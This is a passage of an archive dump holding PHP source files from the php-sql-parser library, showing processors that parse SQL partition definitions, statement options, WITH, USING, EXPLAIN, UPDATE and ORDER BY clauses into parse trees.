                case 'RANGE_COLUMNS':
                case 'KEY':
                // the columnlist
                    $expr[] = array('expr_type' => ExpressionType::COLUMN_LIST, 'base_expr' => $trim,
                                    'sub_tree' => $this->processColumnList($trim));

                    $last = array_pop($parsed);
                    $subtree = array_pop($last['sub_tree']);
                    $subtree['base_expr'] = $base_expr;
                    $subtree['sub_tree'] = $expr;

                    $base_expr = $subtree['storage'] . $base_expr;
                    unset($subtree['storage']);
                    $last['sub_tree'][] = $subtree;
                    $last['base_expr'] = trim($base_expr);
                    $parsed[] = $last;
                    unset($last);
                    unset($subtree);

                    $expr = array();
                    $base_expr = '';
                    $currCategory = $prevCategory;
                    break;

                case '':
                    if ($prevCategory === 'PARTITION' || $prevCategory === 'SUBPARTITION') {
                        if ($upper[0] === '(' && substr($upper, -1) === ')') {
                            // last part to process, it is only one token!
                            $last = $this->getBracketExpressionType($trim);
                            $last['sub_tree'] = $this->processPartitionDefinition($trim);
                            $parsed[] = $last;
                            break;
                        }
                    }
                    // else ?
                    break;

                default:
                    break;
                }
                break;
            }

            $prevCategory = $currCategory;
            $currCategory = '';
        }

        $result['partition-options'] = $parsed;
        if ($result['last-parsed'] === false) {
            $result['last-parsed'] = $tokenKey;
        }
        return $result;
    }
}
?>
PK     \!N-  -  P  vendor/greenlion/php-sql-parser/src/PHPSQLParser/processors/OptionsProcessor.phpnu [        <?php
/**
 * OptionsProcessor.php
 *
 * This file implements the processor for the statement options.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 *
 */

namespace PHPSQLParser\processors;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class processes the statement options.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *
 */
class OptionsProcessor extends AbstractProcessor {

    public function process($tokens) {
        $resultList = array();

        foreach ($tokens as $token) {

            $tokenList = $this->splitSQLIntoTokens($token);
            $result = array();

            foreach ($tokenList as $reserved) {
                $trim = trim($reserved);
                if ($trim === '') {
                    continue;
                }
                $result[] = array('expr_type' => ExpressionType::RESERVED, 'base_expr' => $trim);
            }
            $resultList[] = array('expr_type' => ExpressionType::EXPRESSION, 'base_expr' => trim($token),
                                  'sub_tree' => $result);
        }

        return $resultList;
    }
}

?>
PK     \zFZ  Z  M  vendor/greenlion/php-sql-parser/src/PHPSQLParser/processors/WithProcessor.phpnu [        <?php
/**
 * WithProcessor.php
 *
 * This file implements the processor for Oracle's WITH statements.
 *
 * Copyright (c) 2010-2012, Justin Swanhart
 * with contributions by André Rothe <arothe@phosco.info, phosco@gmx.de>
 *
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification,
 * are permitted provided that the following conditions are met:
 *
 *   * Redistributions of source code must retain the above copyright notice,
 *     this list of conditions and the following disclaimer.
 *   * Redistributions in binary form must reproduce the above copyright notice,
 *     this list of conditions and the following disclaimer in the documentation
 *     and/or other materials provided with the distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
 * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT
 * SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
 * TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
 * BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
 * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
 * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
 * DAMAGE.
 */

namespace PHPSQLParser\processors;
use PHPSQLParser\utils\ExpressionType;

/**
 *
 * This class processes Oracle's WITH statements.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *
 */
class WithProcessor extends AbstractProcessor {

    protected function processTopLevel($sql) {
    	$processor = new DefaultProcessor($this->options);
    	return $processor->process($sql);
    }

    protected function buildTableName($token) {
    	return array('expr_type' => ExpressionType::TEMPORARY_TABLE, 'name'=>$token, 'base_expr' => $token, 'no_quotes' => $this->revokeQuotation($token));
    }

    public function process($tokens) {
    	$out = array();
        $resultList = array();
        $category = '';
        $base_expr = '';
        $prev = '';

        foreach ($tokens as $token) {
        	$base_expr .= $token;
            $upper = strtoupper(trim($token));

            if ($this->isWhitespaceToken($token)) {
                continue;
            }

			$trim = trim($token);
            switch ($upper) {

            case 'AS':
            	if ($prev !== 'TABLENAME') {
            		// error or tablename is AS
            		$resultList[] = $this->buildTableName($trim);
            		$category = 'TABLENAME';
            		break;
            	}

            	$resultList[] = array('expr_type' => ExpressionType::RESERVED, 'base_expr' => $trim);
            	$category = $upper;
                break;

            case ',':
            	// ignore
            	$base_expr = '';
            	break;

            default:
                switch ($prev) {
                	case 'AS':
                		// it follows a parentheses pair
                		$subtree = $this->processTopLevel($this->removeParenthesisFromStart($token));
                		$resultList[] = array('expr_type' => ExpressionType::BRACKET_EXPRESSION, 'base_expr' => $trim, 'sub_tree' => $subtree);

                		$out[] = array('expr_type' => ExpressionType::SUBQUERY_FACTORING, 'base_expr' => trim($base_expr), 'sub_tree' => $resultList);
                		$resultList = array();
                		$category = '';
                	break;

                	case '':
                		// we have the name of the table
                		$resultList[] = $this->buildTableName($trim);
                		$category = 'TABLENAME';
                		break;

                default:
                // ignore
                    break;
                }
                break;
            }
            $prev = $category;
        }
        return $out;
    }
}
?>PK     \0E  E  N  vendor/greenlion/php-sql-parser/src/PHPSQLParser/processors/UsingProcessor.phpnu [        <?php
/**
 * UsingProcessor.php
 *
 * This file implements the processor for the USING statements.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 *
 */

namespace PHPSQLParser\processors;

/**
 * This class processes the USING statements.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class UsingProcessor extends FromProcessor {

}
?>
PK     \7  7  \  vendor/greenlion/php-sql-parser/src/PHPSQLParser/processors/PartitionDefinitionProcessor.phpnu [        <?php
/**
 * PartitionDefinitionProcessor.php
 *
 * This file implements the processor for the PARTITION statements
 * within CREATE TABLE.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 *
 */

namespace PHPSQLParser\processors;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class processes the PARTITION statements within CREATE TABLE.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *
 */
class PartitionDefinitionProcessor extends AbstractProcessor {

    protected function processExpressionList($unparsed) {
        $processor = new ExpressionListProcessor($this->options);
        $expr = $this->removeParenthesisFromStart($unparsed);
        $expr = $this->splitSQLIntoTokens($expr);
        return $processor->process($expr);
    }

    protected function processSubpartitionDefinition($unparsed) {
        $processor = new SubpartitionDefinitionProcessor($this->options);
        $expr = $this->removeParenthesisFromStart($unparsed);
        $expr = $this->splitSQLIntoTokens($expr);
        return $processor->process($expr);
    }

    protected function getReservedType($token) {
        return array('expr_type' => ExpressionType::RESERVED, 'base_expr' => $token);
    }

    protected function getConstantType($token) {
        return array('expr_type' => ExpressionType::CONSTANT, 'base_expr' => $token);
    }

    protected function getOperatorType($token) {
        return array('expr_type' => ExpressionType::OPERATOR, 'base_expr' => $token);
    }

    protected function getBracketExpressionType($token) {
        return array('expr_type' => ExpressionType::BRACKET_EXPRESSION, 'base_expr' => $token, 'sub_tree' => false);
    }

    public function process($tokens) {

        $result = array();
        $prevCategory = '';
        $currCategory = '';
        $parsed = array();
        $expr = array();
        $base_expr = '';
        $skip = 0;

        foreach ($tokens as $tokenKey => $token) {
            $trim = trim($token);
            $base_expr .= $token;

            if ($skip > 0) {
                $skip--;
                continue;
            }

            if ($skip < 0) {
                break;
            }

            if ($trim === '') {
                continue;
            }

            $upper = strtoupper($trim);
            switch ($upper) {

            case 'PARTITION':
                if ($currCategory === '') {
                    $expr[] = $this->getReservedType($trim);
                    $parsed = array('expr_type' => ExpressionType::PARTITION_DEF, 'base_expr' => trim($base_expr),
                                    'sub_tree' => false);
                    $currCategory = $upper;
                    continue 2;
                }
                // else ?
                break;

            case 'VALUES':
                if ($prevCategory === 'PARTITION') {
                    $expr[] = array('expr_type' => ExpressionType::PARTITION_VALUES, 'base_expr' => false,
                                    'sub_tree' => false, 'storage' => substr($base_expr, 0, -strlen($token)));
                    $parsed['sub_tree'] = $expr;

                    $base_expr = $token;
                    $expr = array($this->getReservedType($trim));

                    $currCategory = $upper;
                    continue 2;
                }
                // else ?
                break;

            case 'LESS':
                if ($currCategory === 'VALUES') {
                    $expr[] = $this->getReservedType($trim);
                    continue 2;
                }
                // else ?
                break;

            case 'THAN':
                if ($currCategory === 'VALUES') {
                    // followed by parenthesis and (value-list or expr)
                    $expr[] = $this->getReservedType($trim);
                    continue 2;
                }
                // else ?
                break;

            case 'MAXVALUE':
                if ($currCategory === 'VALUES') {
                    $expr[] = $this->getConstantType($trim);

                    $last = array_pop($parsed['sub_tree']);
                    $last['base_expr'] = $base_expr;
                    $last['sub_tree'] = $expr;

                    $base_expr = $last['storage'] . $base_expr;
                    unset($last['storage']);
                    $parsed['sub_tree'][] = $last;
                    $parsed['base_expr'] = trim($base_expr);

                    $expr = $parsed['sub_tree'];
                    unset($last);
                    $currCategory = $prevCategory;
                }
                // else ?
                break;

            case 'IN':
                if ($currCategory === 'VALUES') {
                    // followed by parenthesis and value-list
                    $expr[] = $this->getReservedType($trim);
                    continue 2;
                }
                break;

            case 'COMMENT':
                if ($prevCategory === 'PARTITION') {
                    $expr[] = array('expr_type' => ExpressionType::PARTITION_COMMENT, 'base_expr' => false,
                                    'sub_tree' => false, 'storage' => substr($base_expr, 0, -strlen($token)));

                    $parsed['sub_tree'] = $expr;
                    $base_expr = $token;
                    $expr = array($this->getReservedType($trim));

                    $currCategory = $upper;
                    continue 2;
                }
                // else ?
                break;

            case 'STORAGE':
                if ($prevCategory === 'PARTITION') {
                    // followed by ENGINE
                    $expr[] = array('expr_type' => ExpressionType::ENGINE, 'base_expr' => false, 'sub_tree' => false,
                                    'storage' => substr($base_expr, 0, -strlen($token)));

                    $parsed['sub_tree'] = $expr;
                    $base_expr = $token;
                    $expr = array($this->getReservedType($trim));

                    $currCategory = $upper;
                    continue 2;
                }
                // else ?
                break;

            case 'ENGINE':
                if ($currCategory === 'STORAGE') {
                    $expr[] = $this->getReservedType($trim);
                    $currCategory = $upper;
                    continue 2;
                }
                if ($prevCategory === 'PARTITION') {
                    $expr[] = array('expr_type' => ExpressionType::ENGINE, 'base_expr' => false, 'sub_tree' => false,
                                    'storage' => substr($base_expr, 0, -strlen($token)));

                    $parsed['sub_tree'] = $expr;
                    $base_expr = $token;
                    $expr = array($this->getReservedType($trim));

                    $currCategory = $upper;
                    continue 2;
                }
                // else ?
                break;

            case '=':
                if (in_array($currCategory, array('ENGINE', 'COMMENT', 'DIRECTORY', 'MAX_ROWS', 'MIN_ROWS'))) {
                    $expr[] = $this->getOperatorType($trim);
                    continue 2;
                }
                // else ?
                break;

            case ',':
                if ($prevCategory === 'PARTITION' && $currCategory === '') {
                    // it separates the partition-definitions
                    $result[] = $parsed;
                    $parsed = array();
                    $base_expr = '';
                    $expr = array();
                }
                break;

            case 'DATA':
            case 'INDEX':
                if ($prevCategory === 'PARTITION') {
                    // followed by DIRECTORY
                    $expr[] = array('expr_type' => constant('PHPSQLParser\utils\ExpressionType::PARTITION_' . $upper . '_DIR'),
                                    'base_expr' => false, 'sub_tree' => false,
                                    'storage' => substr($base_expr, 0, -strlen($token)));

                    $parsed['sub_tree'] = $expr;
                    $base_expr = $token;
                    $expr = array($this->getReservedType($trim));

                    $currCategory = $upper;
                    continue 2;
                }
                // else ?
                break;

            case 'DIRECTORY':
                if ($currCategory === 'DATA' || $currCategory === 'INDEX') {
                    $expr[] = $this->getReservedType($trim);
                    $currCategory = $upper;
                    continue 2;
                }
                // else ?
                break;

            case 'MAX_ROWS':
            case 'MIN_ROWS':
                if ($prevCategory === 'PARTITION') {
                    $expr[] = array('expr_type' => constant('PHPSQLParser\utils\ExpressionType::PARTITION_' . $upper),
                                    'base_expr' => false, 'sub_tree' => false,
                                    'storage' => substr($base_expr, 0, -strlen($token)));

                    $parsed['sub_tree'] = $expr;
                    $base_expr = $token;
                    $expr = array($this->getReservedType($trim));

                    $currCategory = $upper;
                    continue 2;
                }
                // else ?
                break;

            default:
                switch ($currCategory) {

                case 'MIN_ROWS':
                case 'MAX_ROWS':
                case 'ENGINE':
                case 'DIRECTORY':
                case 'COMMENT':
                    $expr[] = $this->getConstantType($trim);

                    $last = array_pop($parsed['sub_tree']);
                    $last['sub_tree'] = $expr;
                    $last['base_expr'] = trim($base_expr);
                    $base_expr = $last['storage'] . $base_expr;
                    unset($last['storage']);

                    $parsed['sub_tree'][] = $last;
                    $parsed['base_expr'] = trim($base_expr);

                    $expr = $parsed['sub_tree'];
                    unset($last);

                    $currCategory = $prevCategory;
                    break;

                case 'PARTITION':
                // that is the partition name
                    $last = array_pop($expr);
                    $last['name'] = $trim;
                    $expr[] = $last;
                    $expr[] = $this->getConstantType($trim);
                    $parsed['sub_tree'] = $expr;
                    $parsed['base_expr'] = trim($base_expr);
                    break;

                case 'VALUES':
                // we have parenthesis and have to process an expression/in-list
                    $last = $this->getBracketExpressionType($trim);

                    $res = $this->processExpressionList($trim);
                    $last['sub_tree'] = (empty($res) ? false : $res);
                    $expr[] = $last;

                    $last = array_pop($parsed['sub_tree']);
                    $last['base_expr'] = $base_expr;
                    $last['sub_tree'] = $expr;

                    $base_expr = $last['storage'] . $base_expr;
                    unset($last['storage']);
                    $parsed['sub_tree'][] = $last;
                    $parsed['base_expr'] = trim($base_expr);

                    $expr = $parsed['sub_tree'];
                    unset($last);

                    $currCategory = $prevCategory;
                    break;

                case '':
                    if ($prevCategory === 'PARTITION') {
                        // last part to process, it is only one token!
                        if ($upper[0] === '(' && substr($upper, -1) === ')') {
                            $last = $this->getBracketExpressionType($trim);
                            $last['sub_tree'] = $this->processSubpartitionDefinition($trim);
                            $expr[] = $last;
                            unset($last);

                            $parsed['base_expr'] = trim($base_expr);
                            $parsed['sub_tree'] = $expr;

                            $currCategory = $prevCategory;
                            break;
                        }
                    }
                    // else ?
                    break;

                default:
                    break;
                }
                break;
            }

            $prevCategory = $currCategory;
            $currCategory = '';
        }

        $result[] = $parsed;
        return $result;
    }
}
?>
PK     \0V}͆    P  vendor/greenlion/php-sql-parser/src/PHPSQLParser/processors/ExplainProcessor.phpnu [        <?php
/**
 * ExplainProcessor.php
 *
 * This file implements the processor for the EXPLAIN statements.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 *
 */

namespace PHPSQLParser\processors;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class processes the EXPLAIN statements.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *
 */
class ExplainProcessor extends AbstractProcessor {

    protected function isStatement($keys, $needle = "EXPLAIN") {
        $pos = array_search($needle, $keys);
        if (isset($keys[$pos + 1])) {
            return in_array($keys[$pos + 1], array('SELECT', 'DELETE', 'INSERT', 'REPLACE', 'UPDATE'), true);
        }
        return false;
    }

    // TODO: refactor that function
    public function process($tokens, $keys = array()) {

        $base_expr = "";
        $expr = array();
        $currCategory = "";

        if ($this->isStatement($keys)) {
            foreach ($tokens as $token) {

                $trim = trim($token);
                $base_expr .= $token;

                if ($trim === '') {
                    continue;
                }

                $upper = strtoupper($trim);

                switch ($upper) {

                case 'EXTENDED':
                case 'PARTITIONS':
                    return array('expr_type' => ExpressionType::RESERVED, 'base_expr' => $token);
                    break;

                case 'FORMAT':
                    if ($currCategory === '') {
                        $currCategory = $upper;
                        $expr[] = array('expr_type' => ExpressionType::RESERVED, 'base_expr' => $trim);
                    }
                    // else?
                    break;

                case '=':
                    if ($currCategory === 'FORMAT') {
                        $expr[] = array('expr_type' => ExpressionType::OPERATOR, 'base_expr' => $trim);
                    }
                    // else?
                    break;

                case 'TRADITIONAL':
                case 'JSON':
                    if ($currCategory === 'FORMAT') {
                        $expr[] = array('expr_type' => ExpressionType::RESERVED, 'base_expr' => $trim);
                        return array('expr_type' => ExpressionType::EXPRESSION, 'base_expr' => trim($base_expr),
                                     'sub_tree' => $expr);
                    }
                    // else?
                    break;

                default:
                // ignore the other stuff
                    break;
                }
            }
            return empty($expr) ? null : $expr;
        }

        foreach ($tokens as $token) {

            $trim = trim($token);

            if ($trim === '') {
                continue;
            }

            switch ($currCategory) {

            case 'TABLENAME':
                $currCategory = 'WILD';
                $expr[] = array('expr_type' => ExpressionType::COLREF, 'base_expr' => $trim,
                                'no_quotes' => $this->revokeQuotation($trim));
                break;

            case '':
                $currCategory = 'TABLENAME';
                $expr[] = array('expr_type' => ExpressionType::TABLE, 'table' => $trim,
                                'no_quotes' => $this->revokeQuotation($trim), 'alias' => false, 'base_expr' => $trim);
                break;

            default:
                break;
            }
        }
        return empty($expr) ? null : $expr;
    }
}

?>
PK     \Y2I  I  O  vendor/greenlion/php-sql-parser/src/PHPSQLParser/processors/UpdateProcessor.phpnu [        <?php
/**
 * UpdateProcessor.php
 *
 * This file implements the processor for the UPDATE statements.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 *
 */

namespace PHPSQLParser\processors;

/**
 * This class processes the UPDATE statements.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *  
 */
class UpdateProcessor extends FromProcessor {

}
?>
PK     \w  w  P  vendor/greenlion/php-sql-parser/src/PHPSQLParser/processors/OrderByProcessor.phpnu [        <?php
/**
 * OrderByProcessor.php
 *
 * This file implements the processor for the ORDER-BY statements.
 *
 * PHP version 5
 *
 * LICENSE:
 * Copyright (c) 2010-2014 Justin Swanhart and André Rothe
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. The name of the author may not be used to endorse or promote products
 *    derived from this software without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * @author    André Rothe <andre.rothe@phosco.info>
 * @copyright 2010-2014 Justin Swanhart and André Rothe
 * @license   http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 * @version   SVN: $Id$
 *
 */

namespace PHPSQLParser\processors;
use PHPSQLParser\utils\ExpressionType;

/**
 * This class processes the ORDER-BY statements.
 *
 * @author  André Rothe <andre.rothe@phosco.info>
 * @license http://www.debian.org/misc/bsd.license  BSD License (3 Clause)
 *
 */
class OrderByProcessor extends AbstractProcessor {

    protected function processSelectExpression($unparsed) {
        $processor = new SelectExpressionProcessor($this->options);
        return $processor->process($unparsed);
    }

    protected function initParseInfo() {
        return array('base_expr' => "", 'dir' => "ASC", 'expr_type' => ExpressionType::EXPRESSION);
    }

    protected function processOrderExpression(&$parseInfo, $select) {
        $parseInfo['base_expr'] = trim($parseInfo['base_expr']);

        if ($parseInfo['base_expr'] === "") {
            return false;
        }

        if (is_numeric($parseInfo['base_expr'])) {
            $parseInfo['expr_type'] = ExpressionType::POSITION;
        } else {
            $parseInfo['no_quotes'] = $this->revokeQuotation($parseInfo['base_expr']);
            // search to see if the expression matches an alias
            foreach ($select as $clause) {
                if (empty($clause['alias'])) {
                    continue;
                }

                if ($clause['alias']['no_quotes'] === $parseInfo['no_quotes']) {
                    $parseInfo['expr_type'] = ExpressionType::ALIAS;
                    break;
                }
            }
        }

